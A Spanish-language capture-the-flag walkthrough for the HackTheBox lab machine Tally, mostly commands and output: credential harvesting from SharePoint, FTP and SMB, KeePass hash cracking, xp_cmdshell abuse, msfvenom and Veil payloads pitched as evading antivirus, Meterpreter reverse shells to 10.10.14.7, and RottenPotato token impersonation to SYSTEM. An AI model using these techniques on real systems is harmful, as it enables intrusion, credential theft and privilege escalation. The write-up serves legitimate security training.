Como realizar una auditoria a una base de datos de Oracle
Aprende pentesting desde 0 con HackTheBox (Silo)
¡Hola Cyber-Spartans!
Hoy vamos a aprender una variedad de cosas interesantes, todo gracias a la máquina HackTheBox llamada Tally.
Como siempre empezaremos a enumerar nuestra máquina víctima con Nmap.
╭─[/Ethic4l-Hacking/Operations/Tally]─[root@Arthorias]─[0]─[2784]
╰─[:)] # nmap -A 10.10.10.59
Starting Nmap 7.70 ( https://nmap.org )
Nmap scan report for 10.10.10.59
Host is up (0.048s latency).
Not shown: 992 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
80/tcp open http Microsoft IIS httpd 10.0
|_http-generator: Microsoft SharePoint
|_http-server-header: Microsoft-IIS/10.0
| http-title: Home
|_Requested resource was http://10.10.10.59/_layouts/15/start.aspx#/default.aspx
81/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Bad Request
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
808/tcp open ccproxy-http?
1433/tcp open ms-sql-s Microsoft SQL Server 2016 13.00.1601.00; RTM
| ms-sql-ntlm-info:
| Target_Name: TALLY
| NetBIOS_Domain_Name: TALLY
| NetBIOS_Computer_Name: TALLY
| DNS_Domain_Name: TALLY
| DNS_Computer_Name: TALLY
|_ Product_Version: 10.0.14393
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2018-01-26T13:06:37
|_Not valid after: 2048-01-26T13:06:37
|_ssl-date: 2018-01-26T19:08:45+00:00; +7s from scanner time.
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.50%E=4%D=1/26%OT=21%CT=1%CU=44020%PV=Y%DS=2%DC=T%G=Y%TM=5A6B7CC
OS:6%P=i686-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=10A%TI=I%CI=I%II=I%SS=O%TS=A)
Network Distance: 2 hops
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 6s, deviation: 0s, median: 6s
| ms-sql-info:
| 10.10.10.59:1433:
| Version:
| name: Microsoft SQL Server 2016 RTM
| number: 13.00.1601.00
| Product: Microsoft SQL Server 2016
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| smb-security-mode:
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_smbv2-enabled: Server supports SMBv2 protocol
Con el anterior escaneo de Nmap, logramos identificar varios servicios interesantes, incluyendo un sitio de Sharepoint.
A continuación, realizaremos un descubrimiento de directorios con Gobuster utilizando uno de los diccionarios SecLists.
Seclists, es una colección de múltiples tipos de diccionarios utilizados durante las evaluaciones de seguridad, compilados en un solo lugar. Estas listas incluyen nombres de usuario, contraseñas, URLs, patrones de datos confidenciales, cargas útiles de fuzzing y muchos más.
Artículo completo en Kali-Linux
Gobuster, es una herramienta utilizada para la fuerza bruta:
- Descubrimiento de URLs (directorios y archivos) en sitios web.
- Descubrimiento de subdominios DNS.
Artículo completo en Kali-Linux
Entre los resultados arrojados por el Gobuster, mostraré los más relevantes.
╭─[/Ethic4l-Hacking/Operations/Tally]─[root@Arthorias]─[0]─[2784]
╰─[:)] # gobuster -w /usr/share/seclists/Discovery/Web-Content/CMS/sharepoint.txt -u http://10.10.10.59/
Gobuster v2.0.1 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : http://10.10.10.59/
[+] Threads : 10
[+] Wordlist : /usr/share/seclists/Discovery/Web_Content/sharepoint.txt
[+] Status codes : 302,307,200,204,301
=====================================================
/_layouts (Status: 301)
/_catalogs/masterpage/forms/allitems.aspx (Status: 200)
/_layouts/viewlsts.aspx (Status: 302)
/shared documents/forms/allitems.aspx (Status: 200)
/_layouts/dws.aspx (Status: 302)
/_layouts/emaildetails.aspx (Status: 302)
/_layouts/excelserversafedataproviders.aspx (Status: 200)
/_layouts/login.aspx (Status: 302)
/_layouts/mngsiteadmin.aspx (Status: 302)
/_layouts/manageservicepermissions.aspx (Status: 200)
/_layouts/mysite.aspx (Status: 200)
/_layouts/people.aspx?membershipgroupid=0 (Status: 302)
/_layouts/upload.aspx (Status: 302)
/_vti_bin/authentication.asmx (Status: 200)
=====================================================
De todo lo encontrado por el Gobuster, una de las rutas más interesantes de un sitio hecho con Sharepoint, son:
- /shared documents/forms/allitems.aspx (Status: 200)
- /_layouts/viewlsts.aspx (Status: 302)
Revisaremos las rutas mencionadas anteriormente.
Página de inicio de Sharepoint
Podemos identificar que hay un documento y también una página que aparece en el directorio.
Si revisamos la página de Documentos, se nos presenta lo siguiente:
Documento con nombre interesante en una ruta de Sharepoint
Abriendo un documento de Sharepoint
Después de descargar el archivo, se nos presenta la siguiente información:
FTP details
hostname: tally
workgroup: htb.local
password: UTDRSCH53c"$6hys
Please create your own user folder upon logging in
Aparentemente encontramos unas credenciales de FTP, seguiremos enumerando para ver si encontramos información sobre el usuario.
Vamos a revisar la otra ruta que teníamos.
Encontrando un documento ofimatico
Usuario FTP encontrado
Ok, ya tenemos un nombre de usuario y una contraseña para el servicio FTP.
Vamos a autenticarnos.
╭─[/Ethic4l-Hacking/Operations/Tally/ftp]─[root@Arthorias]─[0]─[3041]
╰─[:)] # ftp 10.10.10.59
Connected to 10.10.10.59.
220 Microsoft FTP Service
Name (10.10.10.59:root): ftp_user
331 Password required
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
200 PORT command successful.
125 Data connection already open; Transfer starting.
08-31-17 10:51PM <DIR> From-Custodian
10-01-17 10:37PM <DIR> Intranet
08-28-17 05:56PM <DIR> Logs
09-15-17 08:30PM <DIR> To-Upload
09-17-17 08:27PM <DIR> User
226 Transfer complete.
Encontramos algunos directorios, después de listar un rato encontramos algunas cosas interesantes.
Especificamente, en la carpeta de Tim encontramos una base de datos de KeePass.
ftp> cd Tim
250 CWD command successful.
ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection.
09-17-17 08:39PM <DIR> Files
09-02-17 07:08AM <DIR> Project
226 Transfer complete.
ftp> cd Files
250 CWD command successful.
ftp> ls
200 PORT command successful.
125 Data connection already open; Transfer starting.
09-15-17 07:58PM 17 bonus.txt
09-15-17 08:24PM <DIR> KeePass-2.36
09-15-17 08:22PM 2222 tim.kdbx
Tomemos esa base de datos de KeePass y veamos si podemos descifrar la contraseña con HashCat; pero primero debemos extraer un hash compatible con HashCat, para ello utilizaremos una herramienta llamada keepass2john de la suite John The Ripper.
Hashcat es la utilidad de cracking de contraseñas más rápida y avanzada del mundo, que admite cinco modos de ataque únicos para más de 200 algoritmos de hashing altamente optimizados. Actualmente, hashcat es compatible con CPUs, GPUs y otros aceleradores de hardware en Linux, Windows y OSX, y cuenta con facilidades para permitir el crackeo distribuido de contraseñas.
Artículo completo en Kali-Linux
Jhon The Ripper, está diseñado para ser rico en características y rápido. Combina varios modos de craqueo en un solo programa y es totalmente configurable para sus necesidades particulares.
Artículo completo en Kali-Linux
ftp> get tim.kdbx
local: tim.kdbx remote: tim.kdbx
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
2222 bytes received in 0.05 secs (42.3532 kB/s)
╭─[/Ethic4l-Hacking/Operations/Tally/ftp]─[root@Arthorias]─[0]─[3041]
╰─[:)] # keepass2john tim.kdbx > tim.hash
╭─[/Ethic4l-Hacking/Operations/Tally/ftp]─[root@Arthorias]─[0]─[3041]
╰─[:)] # cat tim.hash
tim:$keepass$*2*6000*222*f362b5565b916422607711b54e8d0bd20838f5111d33a5eed137f9d66a375efb*3f51c5ac43ad11e0096d59bb82a59dd09cfd8d2791cadbdb85ed3020d14c8fea*3f759d7011f43b30679a5ac650991caa*b45da6b5b0115c5a7fb688f8179a19a749338510dfe90aa5c2cb7ed37f992192*535a85ef5c9da14611ab1c1edc4f00a045840152975a4d277b3b5c4edc1cd7da
Ahora que tenemos nuestro hash podemos intentar crackearlo con hashcat.
NOTA: Elimine tim: del hash antes de intentar crackear.
Voy a utilizar HashCat en Windows, de esta manera puedo identificar mi GPU y el proceso de cracking será más rápido.
C:\hashcat-5.1.0> .\hashcat64.exe -m 13400 .\tim.hash .\rockyou.txt
hashcat (v5.1.0) starting...
Applicable optimizers:
* Zero-Byte
* Single-Hash
* Single-Salt
Watchdog: Temperature abort trigger set to 90c
Watchdog: Temperature retain trigger disabled.
Dictionary cache hit:
* Filename..: .\rockyou.txt
* Passwords.: 14343296
* Bytes.....: 139921497
* Keyspace..: 14343296
$keepass$*2*6000*222*f362b5565b916422607711b54e8d0bd20838f5111d33a5eed137f9d66a375efb*3f51c5ac43ad11e0096d59bb82a59dd09cfd8d2791cadbdb85ed3020d14c8fea*3f759d7011f43b30679a5ac650991caa*b45da6b5b0115c5a7fb688f8179a19a749338510dfe90aa5c2cb7ed37f992192*535a85ef5c9da14611ab1c1edc4f00a045840152975a4d277b3b5c4edc1cd7da:simplementeyo
Session..........: hashcat
Status...........: Cracked
Hash.Type........: KeePass 1 (AES/Twofish) and KeePass 2 (AES)
Hash.Target......: $keepass$*2*6000*222*f362b5565b916422607711b54e8d0b...1cd7da
La contraseña de Tim es simplementeyo.
Abramos la base de datos con Keepass.
Y en esta encontraremos un usuario y una contraseña.
Finance:Acc0unting
Comprobemos estas credenciales con smbclient.
SMBCLIENT, Es un cliente SMB para máquinas UNIX. Proporciona una interfaz similar a la de ftp en la línea de comandos. Puede utilizar esta utilidad para transferir archivos entre un “servidor” de Windows y un cliente de Linux.
Articulo Completo
╭─[/Ethic4l-Hacking/Operations/Tally/ftp]─[root@Arthorias]─[1]─[3084]
╰─[:(] # smbclient -L \\\\10.10.10.59 -U Finance
Enter WORKGROUP\Finance's password:
Sharename Type Comment
--------- ---- -------
ACCT Disk
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
Reconnecting with SMB1 for workgroup listing.
Connection to 10.10.10.59 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Failed to connect with SMB1 -- no workgroup available
Accedamos al directorio ACCT.
╭─[~/Desktop/APOLO/Ethic4l-Hacking/Operations]─[root@Arthorias]─[0]─[3173]
╰─[:)] # smbclient \\\\10.10.10.59\\ACCT -U Finance
WARNING: The "syslog" option is deprecated
Enter WORKGROUP\Finance's password:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Mon Sep 18 01:58:18 2017
.. D 0 Mon Sep 18 01:58:18 2017
Customers D 0 Sun Sep 17 16:28:40 2017
Fees D 0 Mon Aug 28 17:20:52 2017
Invoices D 0 Mon Aug 28 17:18:19 2017
Jess D 0 Sun Sep 17 16:41:29 2017
Payroll D 0 Mon Aug 28 17:13:32 2017
Reports D 0 Fri Sep 1 16:50:11 2017
Tax D 0 Sun Sep 17 16:45:47 2017
Transactions D 0 Wed Sep 13 15:57:44 2017
zz_Archived D 0 Fri Sep 15 16:29:35 2017
zz_Migration D 0 Sun Sep 17 16:49:13 2017
8387839 blocks of size 4096. 676902 blocks available
En primer lugar, encontramos información de conexión SQL dentro de la carpeta zz_Archived.
smb: \> cd zz_Archived
smb: \zz_Archived\> ls
. D 0 Fri Sep 15 16:29:35 2017
.. D 0 Fri Sep 15 16:29:35 2017
2016 Audit D 0 Mon Aug 28 17:28:47 2017
fund-list-2014.xlsx A 25874 Wed Sep 13 15:58:22 2017
SQL D 0 Fri Sep 15 16:29:36 2017
8387839 blocks of size 4096. 676414 blocks available
smb: \zz_Archived\> cd SQL
smb: \zz_Archived\SQL\> ls
. D 0 Fri Sep 15 16:29:36 2017
.. D 0 Fri Sep 15 16:29:36 2017
conn-info.txt A 77 Sun Sep 17 16:26:56 2017
8387839 blocks of size 4096. 676269 blocks available
smb: \zz_Archived\SQL\> get conn-info.txt
getting file \zz_Archived\SQL\conn-info.txt of size 77 as conn-info.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
Miramos el contenido del archivo con el comando cat.
╭─[/Ethic4l-Hacking/Operations/Tally/smb]─[root@Arthorias]─[0]─[3178]
╰─[:)] # cat conn-info.txt
old server details
db: sa
pass: YE%TJC%&HYbe5Nw
have changed for tally
Después de una búsqueda entre los directorios, encontramos tester.exe parece interesante y parece ser personalizado.
smb: \zz_Migration\Binaries\New folder\> ls
. D 0 Thu Sep 21 02:21:09 2017
.. D 0 Thu Sep 21 02:21:09 2017
crystal_reports_viewer_2016_sp04_51051980.zip A 389188014 Wed Sep 13 15:56:38 2017
Macabacus2016.exe A 18159024 Mon Sep 11 17:20:05 2017
Orchard.Web.1.7.3.zip A 21906356 Tue Aug 29 19:27:42 2017
putty.exe A 774200 Sun Sep 17 16:19:26 2017
RpprtSetup.exe A 483824 Fri Sep 15 15:49:46 2017
tableau-desktop-32bit-10-3-2.exe A 254599112 Mon Sep 11 17:13:14 2017
tester.exe A 215552 Fri Sep 1 07:15:54 2017
vcredist_x64.exe A 7194312 Wed Sep 13 16:06:28 2017
8387839 blocks of size 4096. 558580 blocks available
smb: \zz_Migration\Binaries\New folder\> get tester.exe
getting file \zz_Migration\Binaries\New folder\tester.exe of size 215552 as tester.exe (389.1 KiloBytes/sec) (average 389.1 KiloBytes/sec)
El siguiente paso es ver las cadenas de caracteres imprimibles del archivo .EXE con STRINGS.
╭─[/Ethic4l-Hacking/Operations/Tally/smb]─[root@Arthorias]─[0]─[3178]
╰─[:)] # strings tester.exe
!This program cannot be run in DOS mode.
Rich7J
~~~
~~~
SQLSTATE:
Message:
DRIVER={SQL Server};SERVER=TALLY, 1433;DATABASE=orcharddb;UID=sa;PWD=GWE3V65#6KFH93@4GWTG2G;
select * from Orchard_Users_UserPartRecord
~~~
~~~
Listo, hemos encontrado un nombre de usuario y una contraseña para el servicio de MSSQL.
Gracias a estas credenciales encontradas podemos autenticarnos sobre el SQL Server.
Nos identificamos con las credenciales anteriores con sqsh.
SQSH, es un cliente SQL de línea de comandos para servidores MS SQL y Sybase para conectarse a servidores Sybase o Microsoft SQL.
Referencia
╭─[/Ethic4l-Hacking/Operations/Tally/smb]─[root@Arthorias]─[0]─[3178]
╰─[:)] # sqsh -S 10.10.10.59 -U sa
sqsh-2.1.7 Copyright (C) 1995-2001 Scott C. Gray
Portions Copyright (C) 2004-2010 Michael Peppler
This is free software with ABSOLUTELY NO WARRANTY
For more information type '\warranty'
Password:
1>
Después de autenticarnos, debemos habilitar el xp_cmdshell para que podamos obtener la ejecución de comandos en nuestra máquina víctima.
1> EXEC SP_CONFIGURE N'show advanced options', 1
2> go
Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
(return status = 0)
1> EXEC SP_CONFIGURE N'xp_cmdshell', 1
2> go
Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
(return status = 0)
1> RECONFIGURE
2> go
Listo, ahora vamos a intentar algo sencillo vamos a listar el disco C.
De esta manera validamos que ya podemos ejecutar comandos en la víctima.
1> xp_cmdshell 'dir C:\';
2> go
output
----------------------------------------------------------
Volume in drive C has no label.
Volume Serial Number is 8EB3-6DCB
NULL
Directory of C:\
NULL
18/09/2017 05:58 <DIR> ACCT
18/09/2017 20:35 <DIR> FTP
18/09/2017 21:35 <DIR> inetpub
16/07/2016 13:23 <DIR> PerfLogs
24/12/2017 01:46 <DIR> Program Files
19/10/2017 22:09 <DIR> Program Files (x86)
01/10/2017 19:46 <DIR> TEMP
12/10/2017 20:28 <DIR> Users
23/10/2017 20:44 <DIR> Windows
0 File(s) 0 bytes
9 Dir(s) 2,260,242,432 bytes free
Excelente, después de tener nuestro RCE, procederemos a enumerar todo.
Ejecutaremos el comando systeminfo, que se utiliza para devolver la información del sistema.
1> xp_cmdshell 'systeminfo';
2> go
output
-----------------------------------------------------------------------------------------
-----------------------------------------------------------------------------------------
The current directory is invalid.
NULL
Al parecer, algunos comandos no están disponibles.
Para evitar estos errores debemos utilizar el operador & de la siguiente manera:
1> xp_cmdshell 'cd C:\ & systeminfo';
2> go
output
----------------------------------------------------------
NULL
Host Name: TALLY
OS Name: Microsoft Windows Server 2016 Standard
OS Version: 10.0.14393 N/A Build 14393
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Server
OS Build Type: Multiprocessor Free
Registered Owner: Windows User
Registered Organization:
Product ID: 00376-30726-67778-AA877
Original Install Date: 28/08/2017, 15:43:34
System Boot Time: 17/02/2018, 20:05:52
System Manufacturer: VMware, Inc.
System Model: VMware Virtual Platform
System Type: x64-based PC
Processor(s): 2 Processor(s) Installed.
[01]: Intel64 Family 6 Model 63 Stepping 2 ~2600 Mhz
[02]: Intel64 Family 6 Model 63 Stepping 2 ~2600 Mhz
BIOS Version: Phoenix Technologies LTD 6.00, 05/04/2016
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume1
System Locale: en-gb;English (United Kingdom)
Input Locale: en-gb;English (United Kingdom)
Time Zone: (UTC+00:00) Dublin, Edinburgh, Lisbon, London
Total Physical Memory: 2,047 MB
Available Physical Memory: 231 MB
Virtual Memory: Max Size: 4,458 MB
Virtual Memory: Available: 657 MB
Virtual Memory: In Use: 3,801 MB
Page File Location(s): C:\pagefile.sys
Domain: HTB.LOCAL
Logon Server: \\TALLY
Hotfix(s): 2 Hotfix(s) Installed.
[01]: KB3199986
[02]: KB4015217
Network Card(s): 1 NIC(s) Installed.
[01]: Intel(R) 82574L Gigabit Network Connection
Connection Name: Ethernet0
DHCP Enabled: No
IP address(es)
[01]: 10.10.10.59
[02]: fe80::c5bc:7321:fb5d:9066
[03]: dead:beef::c5bc:7321:fb5d:9066
Hyper-V Requirements: A hypervisor has been detected.
Perfecto, aparentemente nuestra máquina comprometida tiene como sistema operativo, Windows Server 2016.
Por otro lado, hay una nota en el escritorio de Sarah que nos indica que Windows Defender se encuentra activo y también parcheó el sistema.
1> xp_cmdshell 'type C:\Users\Sarah\Desktop\todo.txt';
2> go
done:
install updates
check windows defender enabled
outstanding:
update intranet design
update server inventory
Generaremos un payload con Veil y lo subiremos al servidor FTP, concretamente a la carpeta Intranet.
Después de generar el exe podemos subirlo vía FTP a la carpeta de la Intranet.
Sabemos que tenemos permisos de escritura allí por las instrucciones del archivo llamado Finance encontrado en el SharePoint.
╭─[/Ethic4l-Hacking/Operations/Tally/smb]─[root@Arthorias]─[0]─[3178]
╰─[:)] # ftp 10.10.10.59
Connected to 10.10.10.59.
220 Microsoft FTP Service
Name (10.10.10.59:root): ftp_user
331 Password required
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> cd intranet
250 CWD command successful.
ftp> bin
200 Type set to I.
ftp> put Malware.exe
local: Malware.exe remote: Malware.exe
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
4769528 bytes sent in 29.98 secs (155.3659 kB/s)
Ahora podemos iniciar nuestro handler en Metasploit y ejecutar nuestro payload vía SQL.
╭─[/Ethic4l-Hacking/Operations/Tally]─[root@Arthorias]─[0]─[3508]
╰─[:)] # msfconsole
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 10.10.14.7
LHOST => 10.10.14.7
msf5 exploit(multi/handler) > set LPORT 6969
LPORT => 6969
msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.14.7:6969
El EXE se ejecutaría de la siguiente manera.
1> xp_cmdshell 'cd C:\FTP\Intranet\ & Malware.exe';
2> go
Tras ejecutarlo, en nuestra ventana de metasploit recibiremos nuestra shell.
[*] Sending stage (179779 bytes) to 10.10.10.59
[*] Meterpreter session 1 opened (10.10.14.7:6969 -> 10.10.10.59:56560 at 2019-03-25 18:18:18
meterpreter > shell
Process 1524 created.
Channel 1 created.
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\FTP\Intranet>whoami
whoami
tally\sarah
Excellent, we already have a shell in Tally with the user sarah.
Otra forma más fácil de obtener un shell en esta máquina, sería usando un auxiliar de metasploit.
Hagamos un payload de meterpreter usando msfvenom. Si usamos el formato psh-reflection nuestro payload evade la detección del antivirus:
╭─[/Ethic4l-Hacking/Operations/Tally]─[root@Arthorias]─[0]─[3508]
╰─[:)] # msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.7 LPORT=6969 -f psh-reflection -o Malware2.ps1
Configuramos nuestro oyente con exploit/multi/handler:
msf5> use exploit/multi/handler
msf5 exploit(handler) > options
Module options (exploit/multi/handler):
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.10.14.7 yes The listen address
LPORT 6969 yes The listen port
msf exploit(handler) > exploit
[*] Started reverse TCP handler on 127.0.0.1:6969
Ahora, suba Malware2.ps1 a /Intranet vía FTP.
Podemos ejecutar nuestro payload a través de MSSQL como hemos indicado anteriormente:
╭─[/Ethic4l-Hacking/Operations/Tally]─[root@Arthorias]─[0]─[3508]
╰─[:)] # msfconsole
msf5> use auxiliary/admin/mssql/mssql_exec
msf5 auxiliary(mssql_exec) > set CMD "powershell -ExecutionPolicy bypass -NoExit -File C:\\FTP\\Intranet\\Malware2.ps1"
msf5 auxiliary(mssql_exec) > info
Basic options:
Name Current Setting
---- ---------------
CMD powershell -ExecutionPolicy bypass -NoExit -File C:\FTP\Intranet\msf.ps1
PASSWORD GWE3V65#6KFH93@4GWTG2G
RHOST 10.10.10.59
RPORT 1433
TDSENCRYPTION false
USERNAME sa
USE_WINDOWS_AUTH false
msf5 auxiliary(mssql_exec) > exploit
En el parámetro CMD del auxiliar, debemos configurarlo para que ejecute con powershell nuestro payload ofuscado.
El auxiliar utilizado es auxiliary/admin/mssql/mssql_exec.
El módulo admin mssql_exec aprovecha el procedimiento almacenado xp_cmdshell para ejecutar comandos en el sistema remoto.
Reference
Después del comando exploit, tenemos nuestro shell:
meterpreter > sysinfo
Computer : TALLY
OS : Windows 2016 (Build 14393).
Architecture : x64
System Language : en_GB
Domain : HTB.LOCAL
Logged On Users : 7
Meterpreter : x64/windows
Aquí lo interesante es que la cuenta de Sarah se está ejecutando como la cuenta de servicio de SQL. Así que tal vez podamos elevar ya que las cuentas de servicio suelen tener privilegios especiales.
Para esta parte final aprenderemos a usar Incognito y RottenPotato.
Incognito era originalmente una aplicación independiente que permitía suplantar los tokens de los usuarios cuando se lograba comprometer un sistema.
Reference.
El exploit de la patata podrida es una técnica de escalada de privilegios que permite escalar desde cuentas de nivel de servicio a SYSTEM a través de la suplantación de tokens.
Reference.
A través del comando getprivs podemos verificar todos los privilegios habilitados al proceso actual.
meterpreter > getprivs
============================================================
Enabled Process Privileges
============================================================
SeAssignPrimaryTokenPrivilege
SeChangeNotifyPrivilege
SeCreateGlobalPrivilege
SeImpersonatePrivilege
SeIncreaseQuotaPrivilege
SeIncreaseWorkingSetPrivilege
Subimos el rottenpotato a nuestra máquina comprometida.
meterpreter > cd C:\\Users\\Sarah\\Desktop
meterpreter > upload rottenpotato.exe
[*] uploading : rottenpotato.exe -> rottenpotato.exe
[*] uploaded : rottenpotato.exe -> rottenpotato.exe
Cargamos el módulo en nuestra sesión de Meterpreter ejecutando el comando use incognito. Ejecutando el comando help nos muestra la variedad de opciones que tenemos para incognito y breves descripciones de cada opción.
meterpreter > use incognito
Loading extension incognito...success.
meterpreter > help
Incognito Commands
==================
Command Description
------- -----------
add_group_user Attempt to add a user to a global group with all tokens
add_localgroup_user Attempt to add a user to a local group with all tokens
add_user Attempt to add a user with all tokens
impersonate_token Impersonate specified token
list_tokens List tokens available under current user context
snarf_hashes Snarf challenge/response hashes for every token
Vemos aquí que hay un token de administrador válido que parece ser de interés. Ahora necesitamos suplantar este token para asumir sus privilegios.
meterpreter > list_tokens -u
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
Call rev2self if primary process token is SYSTEM
Delegation Tokens Available
========================================
TALLY\Sarah
Impersonation Tokens Available
========================================
NT SERVICE\SQLSERVERAGENT
Como se ve en la captura de pantalla anterior, nos muestra que en los tokens disponibles solo hay NT SERVICE\SQLSERVERAGENT.
Es el momento de utilizar el rottenpotato que acabamos de descargar, para ejecutarlo debemos hacer lo siguiente:
meterpreter > execute -Hc -f C:\\Users\\Sarah\\Desktoprottenpotato.exe
Process 7996 created.
Channel 2 created.
meterpreter > list_tokens -u
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
Call rev2self if primary process token is SYSTEM
Delegation Tokens Available
========================================
TALLY\Sarah
Impersonation Tokens Available
========================================
NT AUTHORITY\SYSTEM
NT SERVICE\SQLSERVERAGENT
Bien, ya tenemos un Token disponible de NT AUTORIDAD\SISTEMA.
Para realizar la suplantación del token hacemos lo siguiente:
meterpreter > impersonate_token "NT AUTHORITY\\SYSTEM"
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
Call rev2self if primary process token is SYSTEM
[-] No delegation token available
[+] Successfully impersonated user NT AUTHORITY\SYSTEM
meterpreter > shell
Process 3452 created.
Channel 3 created.
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Users\Sarah\Desktop> whoami
nt authority\system
Excelente!
Tenemos nuestra SYSTEM shell.